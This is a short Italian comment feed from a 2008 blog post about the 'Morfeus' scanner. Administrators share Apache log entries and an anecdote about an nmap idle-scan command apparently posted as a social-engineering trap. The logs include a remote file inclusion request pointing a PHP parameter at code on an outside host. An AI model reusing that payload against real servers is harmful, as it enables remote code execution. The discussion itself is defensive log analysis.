http://www.davidonzo.com/ RSS Commenti Articolo: Morfeus Fucking Scanner - davidonzo's blog :) IT-it davidonzo coding Thu, 20 Nov 2008 08:46:41 +0100 60 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27821
Che strano : qualche settimana fa , nel canale ubuntu-it un tizio si lamentava del fatto che nmap non funzionava e postava relativa riga di comando ; l'aveva anche postata sul forum di ubuntu ; sono quasi stato tentato di provare con il classico copia incolla, ma con programmi come nmap bisogna sempre andarci un po' cauti : in effetti il tizio aveva programmato un Idle Scan in cui l'Ip zombie apparteneva allo stesso range di IP che compare nei tuoi log ...

Mi sono fatto l'idea che il tizio avesse fatto una (maldestra) operazione di social engeneering , anche perchè aveva sostituito l'IP da scansionare con una pseudo variabile nominata $MIO-IP , confidando probabilmente nel fatto che i malcapitati sostituissero quel campo con il proprio IP. Nelle pagine del manuale di nmap mi sembra di aver letto che una scansione di questo tipo non restituisce alcun risultato , poichè tutto viene spedito all'IP zombie ; ma se a quell'IP c'è qualcosa che ascolta , il risultato della scansione giunge lì ... XD

Non ricordo il nick usato in Irc , nè quello sul forum ...ma il range si e non mi chiedere perchè XD

Quando ho realizzato le sue intenzioni , mi sono limitato a dirgli che c'aveva provato XD

Ok ok ... ho esagerato e probabilmente avrò preso un abbaglio formato gigante XD]]> 2008-06-05 15:30:23 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27821 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27820 2008-06-04 17:19:01 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27820 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27819
primo:/var/log/apache2/primo# grep -ri Morfeus * | cut -d\ -f7,12-17 | sort | uniq
/bb/jscripts/post.js "Morfeus strikes again."
/bbs/jscripts/post.js "Morfeus strikes again."
/chat/jscripts/post.js "Morfeus strikes again."
/community/jscripts/post.js "Morfeus strikes again."
/foro/jscripts/post.js "Morfeus strikes again."
/foros/jscripts/post.js "Morfeus strikes again."
/forum/jscripts/post.js "Morfeus strikes again."
/forums/jscripts/post.js "Morfeus strikes again."
/jscripts/post.js "Morfeus strikes again."
/mybb/jscripts/post.js "Morfeus strikes again."
/myBB/jscripts/post.js "Morfeus strikes again."
/MyBB/jscripts/post.js "Morfeus strikes again."
/phgstats/index.php?phgdir=http://80.34.102.151/joomla/1.gif?/ "Morfeus Fucking Scanner"
/phorum/jscripts/post.js "Morfeus strikes again."

Sono troppo avanti: Tu hai Morfeus Fucking Scanner, io ho gia' Morfeus strikes again :D !!

Mi ricordo che ai tempi di codered, avevo usato una rule simile alla tua, ma rimandavo il traffico su ... 127.0.0.1 :P !]]> 2008-06-04 09:51:16 http://www.davidonzo.com/post/830/morfeus-fucking-scanner/#comm27819